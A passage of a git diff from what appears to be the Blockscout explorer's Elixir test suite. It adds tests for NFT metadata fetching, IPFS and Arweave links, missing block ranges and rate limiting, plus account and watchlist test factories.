"Blue"}, + {"trait_type": "Background", "value": "Red Carpet"} + ], + "image": "https://cards.collecttrumpcards.com/cards/0c68b1ab6.jpg", + "name": "Trump Digital Trading Card #8578", + "tokeId": 8578 + } + """ + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect(bypass, "GET", path, fn conn -> + Conn.resp(conn, 200, json) + end) + + assert {:ok_store_uri, + %{ + metadata: Jason.decode!(json) + }, url} == MetadataRetriever.fetch_json(data) + end + + test "Process custom execution reverted" do + data = + {:error, + "(3) execution reverted: Nonexistent token (0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000114e6f6e6578697374656e7420746f6b656e000000000000000000000000000000)"} + + assert {:error, "VM execution error"} == MetadataRetriever.fetch_json(data) + end + + test "Process CIDv0 IPFS links" do + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + result = %{ + "name" => "asda", + "description" => "asda", + "salePrice" => 34, + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "collectionId" => "1871_1665123820823" + } + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP"}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(result) + }} + end + ) + + assert {:ok, + %{ + metadata: %{ + "collectionId" => "1871_1665123820823", + "description" => "asda", + "img_hash" => "QmUfW3PVnh9GGuHcQgc3ZeNEbhwp5HE8rS5ac9MDWWQebz", + "name" => "asda", + "salePrice" => 34 + } + }} == MetadataRetriever.fetch_json({:ok, [data]}) + end + + test "Process URI directly from link", %{bypass: bypass} do + path = "/api/dejobio/v1/nftproduct/1" + + json = """ + { + "image": "https:\/\/cdn.discordapp.com\/attachments\/1008567215739650078\/1080111780858187796\/savechives_a_dragon_playing_football_in_a_city_full_of_flowers__0739cc42-aae1-4909-a964-3f9c0ed1a9ed.png", + "external_url": "https:\/\/dejob.io\/blue-reign-the-dragon-football-champion-of-the-floral-city\/", + "name": "Blue Reign: The Dragon Football Champion of the Floral City", + "description": "Test", + "attributes": [ + { + "trait_type": "Product Type", + "value": "Book" + }, + { + "display_type": "number", + "trait_type": "Total Sold", + "value": "0" + }, + { + "display_type": "number", + "trait_type": "Success Sold", + "value": "0" + }, + { + "max_value": "100", + "trait_type": "Success Rate", + "value": "0" + } + ] + } + """ + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect(bypass, "GET", path, fn conn -> + Conn.resp(conn, 200, json) + end) + + url = "http://localhost:#{bypass.port}#{path}" + + assert {:ok_store_uri, + %{ + metadata: Jason.decode!(json) + }, + url} == + MetadataRetriever.fetch_json({:ok, [url]}) + end + end + + describe "ipfs_link/1" do + test "returns correct ipfs link for given data" do + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + expected_link = "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + assert MetadataRetriever.ipfs_link(data) == expected_link + end + + test "returns correct ipfs link for given data at public IPFS gateway URL" do + original = Application.get_env(:indexer, :ipfs) + + Application.put_env(:indexer, :ipfs, + gateway_url: "https://ipfs.io/ipfs/", + public_gateway_url: "https://public_ipfs_gateway.io/ipfs/" + ) + + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + expected_link = "https://public_ipfs_gateway.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + + assert MetadataRetriever.ipfs_link(data, true) == expected_link + + Application.put_env(:indexer, :ipfs, original) + end + + test "returns correct ipfs link for given data with IPFS gateway params" do + original = Application.get_env(:indexer, :ipfs) + + Application.put_env(:indexer, :ipfs, + gateway_url: "https://ipfs.io/ipfs/", + gateway_url_param_key: "user", + gateway_url_param_value: "pass", + gateway_url_param_location: :query + ) + + data = "QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP" + expected_link = "https://ipfs.io/ipfs/QmT1Yz43R1PLn2RVovAnEM5dHQEvpTcnwgX8zftvY1FcjP?user=pass" + + assert MetadataRetriever.ipfs_link(data) == expected_link + + Application.put_env(:indexer, :ipfs, original) + end + + test "returns correct ipfs link for empty data" do + data = "" + expected_link = "https://ipfs.io/ipfs/" + + assert MetadataRetriever.ipfs_link(data) == expected_link + end + + test "returns correct ipfs link for nil data" do + data = nil + expected_link = "https://ipfs.io/ipfs/" + + assert MetadataRetriever.ipfs_link(data) == expected_link + end + + test "returns correct ipfs link for data with special characters" do + data = "data_with_special_chars!@#$%^&*()" + expected_link = "https://ipfs.io/ipfs/data_with_special_chars!@#$%^&*()" + + assert MetadataRetriever.ipfs_link(data) == expected_link + end + end + + describe "arweave_link/1" do + test "returns correct arweave link for given data" do + data = "some_arweave_data" + expected_link = "https://arweave.net/some_arweave_data" + + assert MetadataRetriever.arweave_link(data) == expected_link + end + + test "returns correct arweave link for empty data" do + data = "" + expected_link = "https://arweave.net/" + + assert MetadataRetriever.arweave_link(data) == expected_link + end + + test "returns correct arweave link for nil data" do + data = nil + expected_link = "https://arweave.net/" + + assert MetadataRetriever.arweave_link(data) == expected_link + end + + test "returns correct arweave link for data with special characters" do + data = "data_with_special_chars!@#$%^&*()" + expected_link = "https://arweave.net/data_with_special_chars!@#$%^&*()" + + assert MetadataRetriever.arweave_link(data) == expected_link + end end end diff --git a/apps/explorer/test/explorer/token_instance_owner_address_migration/helper_test.exs b/apps/explorer/test/explorer/token_instance_owner_address_migration/helper_test.exs new file mode 100644 index 000000000000..355d161259bb --- /dev/null +++ b/apps/explorer/test/explorer/token_instance_owner_address_migration/helper_test.exs @@ -0,0 +1,121 @@ +defmodule Explorer.TokenInstanceOwnerAddressMigration.HelperTest do + use Explorer.DataCase + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Token.Instance + alias Explorer.TokenInstanceOwnerAddressMigration.Helper + + {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + @burn_address_hash burn_address_hash + + describe "fetch_and_insert/2" do + test "successfully update owner of single token instance" do + token_address = insert(:contract_address) + insert(:token, contract_address: token_address, type: "ERC-721") + + instance = insert(:token_instance, token_contract_address_hash: token_address.hash) + + transaction = + :transaction + |> insert() + |> with_block() + + tt_1 = + insert(:token_transfer, + token_ids: [instance.token_id], + transaction: transaction, + token_contract_address: token_address + ) + + Helper.fetch_and_insert([ + %{token_id: instance.token_id, token_contract_address_hash: instance.token_contract_address_hash} + ]) + + owner_address = tt_1.to_address_hash + block_number = tt_1.block_number + log_index = tt_1.log_index + + assert %Instance{ + owner_address_hash: ^owner_address, + owner_updated_at_block: ^block_number, + owner_updated_at_log_index: ^log_index + } = + Repo.get_by(Instance, + token_id: instance.token_id, + token_contract_address_hash: instance.token_contract_address_hash + ) + end + + test "put placeholder value if tt absent in db" do + instance = insert(:token_instance) + + Helper.fetch_and_insert([ + %{token_id: instance.token_id, token_contract_address_hash: instance.token_contract_address_hash} + ]) + + assert %Instance{ + owner_address_hash: @burn_address_hash, + owner_updated_at_block: -1, + owner_updated_at_log_index: -1 + } = + Repo.get_by(Instance, + token_id: instance.token_id, + token_contract_address_hash: instance.token_contract_address_hash + ) + end + + test "update owners of token instances batch" do + instances = + for _ <- 0..5 do + token_address = insert(:contract_address) + insert(:token, contract_address: token_address, type: "ERC-721") + + instance = insert(:token_instance, token_contract_address_hash: token_address.hash) + + tt = + for _ <- 0..5 do + transaction = + :transaction + |> insert() + |> with_block() + + for _ <- 0..5 do + insert(:token_transfer, + token_ids: [instance.token_id], + transaction: transaction, + token_contract_address: token_address + ) + end + end + |> Enum.concat() + |> Enum.max_by(fn tt -> {tt.block_number, tt.log_index} end) + + %{ + token_id: instance.token_id, + token_contract_address_hash: instance.token_contract_address_hash, + owner_address_hash: tt.to_address_hash, + owner_updated_at_block: tt.block_number, + owner_updated_at_log_index: tt.log_index + } + end + + Helper.fetch_and_insert(instances) + + for ti <- instances do + owner_address = ti.owner_address_hash + block_number = ti.owner_updated_at_block + log_index = ti.owner_updated_at_log_index + + assert %Instance{ + owner_address_hash: ^owner_address, + owner_updated_at_block: ^block_number, + owner_updated_at_log_index: ^log_index + } = + Repo.get_by(Instance, + token_id: ti.token_id, + token_contract_address_hash: ti.token_contract_address_hash + ) + end + end + end +end diff --git a/apps/explorer/test/explorer/utility/missing_block_range_test.exs b/apps/explorer/test/explorer/utility/missing_block_range_test.exs new file mode 100644 index 000000000000..e2dbaee77d2c --- /dev/null +++ b/apps/explorer/test/explorer/utility/missing_block_range_test.exs @@ -0,0 +1,444 @@ +defmodule Explorer.Utility.MissingBlockRangeTest do + use ExUnit.Case, async: true + + alias Explorer.Utility.MissingBlockRange + alias Explorer.Repo + + describe "add_ranges_by_block_numbers/2" do + setup do + # Ensure the database is clean before each test + Repo.delete_all(MissingBlockRange) + + on_exit(fn -> + # Clean up the database after each test + Repo.delete_all(MissingBlockRange) + end) + + :ok + end + + test "adds ranges for a list of block numbers with a given priority" do + block_numbers = [1, 2, 3, 5, 6, 10] + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 3 and range.to_number == 1 and range.priority == priority + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 6 and range.to_number == 5 and range.priority == priority + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 10 and range.to_number == 10 and range.priority == priority + end) + end + + test "handles an empty list of block numbers" do + block_numbers = [] + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert ranges == [] + end + + test "adds ranges with nil priority" do + block_numbers = [15, 16, 20] + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 2 + + assert Enum.any?(ranges, fn range -> + range.from_number == 16 and range.to_number == 15 and is_nil(range.priority) + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 20 and range.to_number == 20 and is_nil(range.priority) + end) + end + + test "handles case when applying range with priority = nil overlaps with an different existing ranges in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 6, to_number: 3, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 10, to_number: 8, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 15, to_number: 12, priority: nil}) + + block_numbers = 5..13 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 4 + + assert Enum.any?(ranges, fn range -> + range.from_number == 15 and range.to_number == 11 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 10 and range.to_number == 8 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 7 and range.to_number == 7 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 6 and range.to_number == 3 and range.priority == 1 + end) + end + + # failed + test "handles case when applying range with priority = 1 overlaps with an different existing ranges in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 6, to_number: 3, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 10, to_number: 8, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 15, to_number: 12, priority: nil}) + + block_numbers = 5..13 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 2 + + assert Enum.any?(ranges, fn range -> + range.from_number == 15 and range.to_number == 14 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 13 and range.to_number == 3 and range.priority == 1 + end) + end + + test "handles case when applying range with priority = nil overlaps with the same existing priority = 1 range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 12, to_number: 6, priority: 1}) + + block_numbers = 7..10 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 12 and range.to_number == 6 and range.priority == 1 + end) + end + + test "handles case when applying range with priority = nil overlaps with the same existing nil priority range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 12, to_number: 6, priority: nil}) + + block_numbers = 7..10 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 12 and range.to_number == 6 and range.priority == nil + end) + end + + test "handles case when applying range with priority = 1 overlaps with the same existing priority = 1 range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 12, to_number: 6, priority: 1}) + + block_numbers = 7..10 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 12 and range.to_number == 6 and range.priority == 1 + end) + end + + test "handles case when applying range with priority = 1 overlaps with the same existing nil priority range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 12, to_number: 6, priority: nil}) + + block_numbers = 7..10 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 12 and range.to_number == 11 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 10 and range.to_number == 7 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 6 and range.to_number == 6 and range.priority == nil + end) + end + + test "handles case when applying range with nil priority doesn't overlap with the existing different ranges in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 5, to_number: 4, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 8, to_number: 7, priority: 1}) + + block_numbers = 3..10 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 6 and range.to_number == 3 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 8 and range.to_number == 7 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 10 and range.to_number == 9 and range.priority == nil + end) + end + + test "handles case when applying range with 1 priority doesn't overlap with the existing different ranges in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 5, to_number: 4, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 8, to_number: 7, priority: 1}) + + block_numbers = 3..10 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 10 and range.to_number == 3 and range.priority == 1 + end) + end + + test "handles case when left of the applying range with nil priority overlaps with the nil priority existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 112, to_number: 86, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 25, to_number: 20, priority: nil}) + + block_numbers = 7..110 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 112 and range.to_number == 46 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 45 and range.to_number == 30 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 29 and range.to_number == 7 and range.priority == nil + end) + end + + test "handles case when left of the applying range with nil priority overlaps with the priority = 1 existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 112, to_number: 86, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 25, to_number: 20, priority: nil}) + + block_numbers = 7..110 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 4 + + assert Enum.any?(ranges, fn range -> + range.from_number == 112 and range.to_number == 86 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 85 and range.to_number == 46 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 45 and range.to_number == 30 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 29 and range.to_number == 7 and range.priority == nil + end) + end + + test "handles case when left of the applying range with priority = 1 overlaps with the nil priority existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 112, to_number: 86, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 25, to_number: 20, priority: nil}) + + block_numbers = 7..110 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 2 + + assert Enum.any?(ranges, fn range -> + range.from_number == 112 and range.to_number == 111 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 110 and range.to_number == 7 and range.priority == 1 + end) + end + + test "handles case when left of the applying range with priority = 1 overlaps with the priority = 1 existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 112, to_number: 86, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 25, to_number: 20, priority: nil}) + + block_numbers = 7..110 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 112 and range.to_number == 7 and range.priority == 1 + end) + end + + test "handles case when right of the applying range with nil priority overlaps with the nil priority existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 130, to_number: 46, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 29, to_number: 20, priority: nil}) + + block_numbers = 23..130 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 130 and range.to_number == 46 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 45 and range.to_number == 30 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 29 and range.to_number == 20 and range.priority == nil + end) + end + + test "handles case when right of the applying range with nil priority overlaps with the priority = 1 existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 130, to_number: 46, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 29, to_number: 20, priority: 1}) + + block_numbers = 23..130 |> Enum.to_list() + priority = nil + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 3 + + assert Enum.any?(ranges, fn range -> + range.from_number == 130 and range.to_number == 46 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 45 and range.to_number == 30 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 29 and range.to_number == 20 and range.priority == 1 + end) + end + + test "handles case when right of the applying range with priority = 1 overlaps with the nil priority existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 130, to_number: 46, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 29, to_number: 20, priority: nil}) + + block_numbers = 23..130 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 2 + + assert Enum.any?(ranges, fn range -> + range.from_number == 130 and range.to_number == 23 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 22 and range.to_number == 20 and range.priority == nil + end) + end + + test "handles case when right of the applying range with priority = 1 overlaps with the priority = 1 existing range in the DB" do + Repo.insert!(%MissingBlockRange{from_number: 130, to_number: 46, priority: nil}) + Repo.insert!(%MissingBlockRange{from_number: 45, to_number: 30, priority: 1}) + Repo.insert!(%MissingBlockRange{from_number: 29, to_number: 20, priority: 1}) + + block_numbers = 23..130 |> Enum.to_list() + priority = 1 + + MissingBlockRange.add_ranges_by_block_numbers(block_numbers, priority) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 1 + + assert Enum.any?(ranges, fn range -> + range.from_number == 130 and range.to_number == 20 and range.priority == 1 + end) + end + end +end diff --git a/apps/explorer/test/explorer/utility/rate_limiter_test.exs b/apps/explorer/test/explorer/utility/rate_limiter_test.exs new file mode 100644 index 000000000000..5df982ec73f0 --- /dev/null +++ b/apps/explorer/test/explorer/utility/rate_limiter_test.exs @@ -0,0 +1,52 @@ +defmodule Explorer.Utility.RateLimiterTest do + use ExUnit.Case, async: true + + alias Explorer.Utility.RateLimiter + + setup do + RateLimiter.start_link([]) + + init_config = Application.get_env(:explorer, RateLimiter) + Application.put_env(:explorer, RateLimiter, Keyword.put(init_config, :enabled, true)) + + on_exit(fn -> + Application.put_env(:explorer, RateLimiter, init_config) + end) + end + + test "ban identifier from action if it exceeds rate limit" do + config = Application.get_env(:explorer, RateLimiter) + + updated_config = + Keyword.put( + config, + :on_demand, + Keyword.merge(config[:on_demand], time_interval_limit: 1000, limit_by_ip: 1, exp_timeout_coeff: 1) + ) + + Application.put_env(:explorer, RateLimiter, updated_config) + + assert RateLimiter.check_rate("test", :on_demand) == :allow + now = :os.system_time(:second) + assert RateLimiter.check_rate("test", :on_demand) == :deny + assert RateLimiter.check_rate("test", :on_demand) == :deny + + expected_ban_data = "#{now + 1}:1" + key = add_chain_id_prefix("test_on_demand") + assert [{^key, ^expected_ban_data}] = :ets.lookup(:rate_limiter, key) + + Process.sleep(2000) + + assert RateLimiter.check_rate("test", :on_demand) == :allow + now = :os.system_time(:second) + assert RateLimiter.check_rate("test", :on_demand) == :deny + assert RateLimiter.check_rate("test", :on_demand) == :deny + + expected_ban_data = "#{now + 2}:2" + assert [{^key, ^expected_ban_data}] = :ets.lookup(:rate_limiter, key) + end + + defp add_chain_id_prefix(key) do + "#{Application.get_env(:block_scout_web, :chain_id)}_#{key}" + end +end diff --git a/apps/explorer/test/support/data_case.ex b/apps/explorer/test/support/data_case.ex index e12dd24a82d6..0cbb4958a7b1 100644 --- a/apps/explorer/test/support/data_case.ex +++ b/apps/explorer/test/support/data_case.ex @@ -34,9 +34,13 @@ defmodule Explorer.DataCase do ExVCR.Config.cassette_library_dir("test/support/fixture/vcr_cassettes") :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo) + :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo.Account) + :ok = Ecto.Adapters.SQL.Sandbox.checkout(Explorer.Repo.EventNotifications) unless tags[:async] do Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, {:shared, self()}) + Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Account, {:shared, self()}) + Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.EventNotifications, {:shared, self()}) end Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.BlockNumber.child_id()) diff --git a/apps/explorer/test/support/factory.ex b/apps/explorer/test/support/factory.ex index 34f46922407c..c54175ec7ec1 100644 --- a/apps/explorer/test/support/factory.ex +++ b/apps/explorer/test/support/factory.ex @@ -1,15 +1,30 @@ defmodule Explorer.Factory do use ExMachina.Ecto, repo: Explorer.Repo + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] require Ecto.Query import Ecto.Query + import Explorer.Chain, only: [hash_to_lower_case_string: 1] import Kernel, except: [+: 2] - alias Bcrypt - alias Explorer.Accounts.{User, UserContact} + alias Explorer.Account.{ + Identity, + TagAddress, + TagTransaction, + Watchlist, + WatchlistAddress + } + + alias Explorer.Accounts.{ + User, + UserContact + } + alias Explorer.Admin.Administrator + alias Explorer.Chain.Beacon.{Blob, BlobTransaction, Deposit} alias Explorer.Chain.Block.{EmissionReward, Range, Reward} + alias Explorer.Chain.Stability.Validator, as: ValidatorStability alias Explorer.Chain.{ Address, @@ -17,30 +32,278 @@ defmodule Explorer.Factory do Address.TokenBalance, Address.CoinBalance, Address.CoinBalanceDaily, + Address.ScamBadgeToAddress, Block, ContractMethod, Data, - DecompiledSmartContract, Hash, InternalTransaction, Log, + MultichainSearchDb, PendingBlockOperation, + PendingTransactionOperation, + SignedAuthorization, SmartContract, + SmartContractAdditionalSource, Token, TokenTransfer, Token.Instance, - Transaction + Transaction, + Wei, + Withdrawal } - alias Explorer.SmartContract.Helper + alias Explorer.Chain.Optimism.{InteropMessage, OutputRoot} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.Zilliqa.Hash.BLSPublicKey + alias Explorer.Chain.Zilliqa.Staker, as: ZilliqaStaker + alias Explorer.Migrator.MigrationStatus + + alias Explorer.SmartContract.Helper + alias Explorer.Tags.{AddressTag, AddressToTag} alias Explorer.Market.MarketHistory alias Explorer.Repo + alias Explorer.Utility.{EventNotification, MissingBalanceOfToken, MissingBlockRange} + + alias Ueberauth.Strategy.Auth0 + alias Ueberauth.Auth.{Extra, Info} + alias Ueberauth.Auth + + if @chain_type == :zksync do + @optimization_runs "1" + else + @optimization_runs 1 + end + + def account_identity_factory do + %Identity{ + uid: sequence("github|"), + email: sequence(:email, &"me-#{&1}@blockscout.com"), + name: sequence("John") + } + end + + def auth_factory do + email = sequence(:email, &"test_user-#{&1}@blockscout.com") + image = sequence("https://example.com/avatar/test_user") + name = sequence("User Test") + nickname = sequence("test_user") + uid = sequence("blockscout|000") + address_hash = to_string(build(:contract_address).hash) + + %Auth{ + info: %Info{ + birthday: nil, + description: nil, + email: email, + first_name: nil, + image: image, + last_name: nil, + location: nil, + name: sequence("User Test"), + nickname: sequence("test_user"), + phone: nil, + urls: %{profile: nil, website: nil} + }, + provider: :auth0, + strategy: Auth0, + uid: uid, + extra: %Extra{ + raw_info: %{ + user: %{ + "created_at" => "2024-09-06T13:49:20.481Z", + "email" => email, + "email_verified" => true, + "identities" => [ + %{ + "connection" => "email", + "isSocial" => false, + "provider" => "email", + "user_id" => "66db0852af53e2c0ae80ddb2" + } + ], + "last_ip" => "42.42.42.42", + "last_login" => "2024-09-14T12:14:26.965Z", + "logins_count" => 11, + "name" => name, + "nickname" => nickname, + "picture" => image, + "updated_at" => "2024-09-14T12:14:26.966Z", + "user_id" => uid, + "user_metadata" => %{ + "web3_address_hash" => address_hash + } + }, + token: nil + } + } + } + end + + def watchlist_address_factory do + %{ + "address_hash" => to_string(build(:address).hash), + "name" => sequence("test"), + "notification_settings" => %{ + "native" => %{ + "incoming" => random_bool(), + "outcoming" => random_bool() + }, + "ERC-20" => %{ + "incoming" => random_bool(), + "outcoming" => random_bool() + }, + "ERC-721" => %{ + "incoming" => random_bool(), + "outcoming" => random_bool() + }, + "ERC-404" => %{ + "incoming" => random_bool(), + "outcoming" => random_bool() + } + }, + "notification_methods" => %{ + "email" => random_bool() + } + } + end + + def watchlist_address_db_factory(%{wl_id: id}) do + hash = insert(:address).hash + + %WatchlistAddress{ + name: sequence("test"), + watchlist_id: id, + address_hash: hash, + address_hash_hash: hash_to_lower_case_string(hash), + watch_coin_input: random_bool(), + watch_coin_output: random_bool(), + watch_erc_20_input: random_bool(), + watch_erc_20_output: random_bool(), + watch_erc_721_input: random_bool(), + watch_erc_721_output: random_bool(), + watch_erc_1155_input: random_bool(), + watch_erc_1155_output: random_bool(), + watch_erc_404_input: random_bool(), + watch_erc_404_output: random_bool(), + notify_email: random_bool() + } + end + + def custom_abi_factory do + contract_address_hash = to_string(insert(:contract_address).hash) + + %{"contract_address_hash" => contract_address_hash, "name" => sequence("test"), "abi" => contract_code_info().abi} + end + + def account_watchlist_factory do + %Watchlist{ + identity: build(:account_identity) + } + end + + def tag_address_factory do + %{"name" => sequence("name"), "address_hash" => to_string(build(:address).hash)} + end + + def tag_transaction_factory do + %{"name" => sequence("name"), "transaction_hash" => to_string(insert(:transaction).hash)} + end + + def tag_address_db_factory(%{user: user}) do + %TagAddress{name: sequence("name"), address_hash: build(:address).hash, identity_id: user.id} + end + + def tag_transaction_db_factory(%{user: user}) do + %TagTransaction{name: sequence("name"), transaction_hash: insert(:transaction).hash, identity_id: user.id} + end + + def address_to_tag_factory do + %AddressToTag{ + tag: build(:address_tag), + address: build(:address) + } + end + + def address_tag_factory do + %AddressTag{ + label: sequence("label"), + display_name: sequence("display_name") + } + end + + def account_watchlist_address_factory do + hash = build(:address).hash + + %WatchlistAddress{ + name: "wallet", + watchlist: build(:account_watchlist), + address_hash: hash, + address_hash_hash: hash_to_lower_case_string(hash), + watch_coin_input: random_bool(), + watch_coin_output: random_bool(), + watch_erc_20_input: random_bool(), + 